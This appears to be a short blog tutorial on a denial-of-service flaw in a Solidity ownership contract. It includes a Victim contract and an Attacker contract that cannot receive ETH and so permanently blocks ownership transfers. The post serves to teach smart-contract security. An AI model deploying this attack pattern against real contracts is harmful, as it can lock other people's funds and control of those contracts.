Let's say there is a contract which allows maximum ETH donner to become owner of that contract.
In this blog, we will see how it is possible to highjack such contract taking advantage of a contract vulnerability.
Consider following contract:
- anyone can call
becomeOwner()
function and become owner by sending amount greater thanbalance
. - on calling
becomeOwner()
, if condition is met,balance
amount is transfered to current owner andowner
andbalance
state variables are updated.
contract Victim {
address public owner;
uint public balance;
function becomeOwner() external payable {
require(msg.value > balance);
(bool sent, ) = owner.call{value: balance}("");
require(sent, "Send failed");
balance = msg.value;
owner = msg.sender;
}
}
Now let's say Victim contract is unable to send current balance to current owner, i.e require(sent, "Send failed");
is not satisfied.
In that case, current owner can never be removed and new owner can never be added. That's exactly how attackers can highjack the contract:
contract Attacker { // has no fallback function, hence can't recieve eth
Victim victimCOntract;
constructor(address _victim) {
victimCOntract = Victim(_victim);
}
function attack() external payable {
victimCOntract.becomeOwner{value: msg.value}();
}
}
The Attacker function has no receive/fallback function, and hence cannot receive ETH, when someone tries to send ETH transaction fails. And hence becomeOwner()
function is never executed by anyone.
You might have got a question, if Attacker can't receive ETH how can it send ETH to Victim?
Well answer to this is simple, if you see the attack()
function you might notice the ETH is never supplied to Attack contract. It's transacted from function caller to Victim directly.
Top comments (0)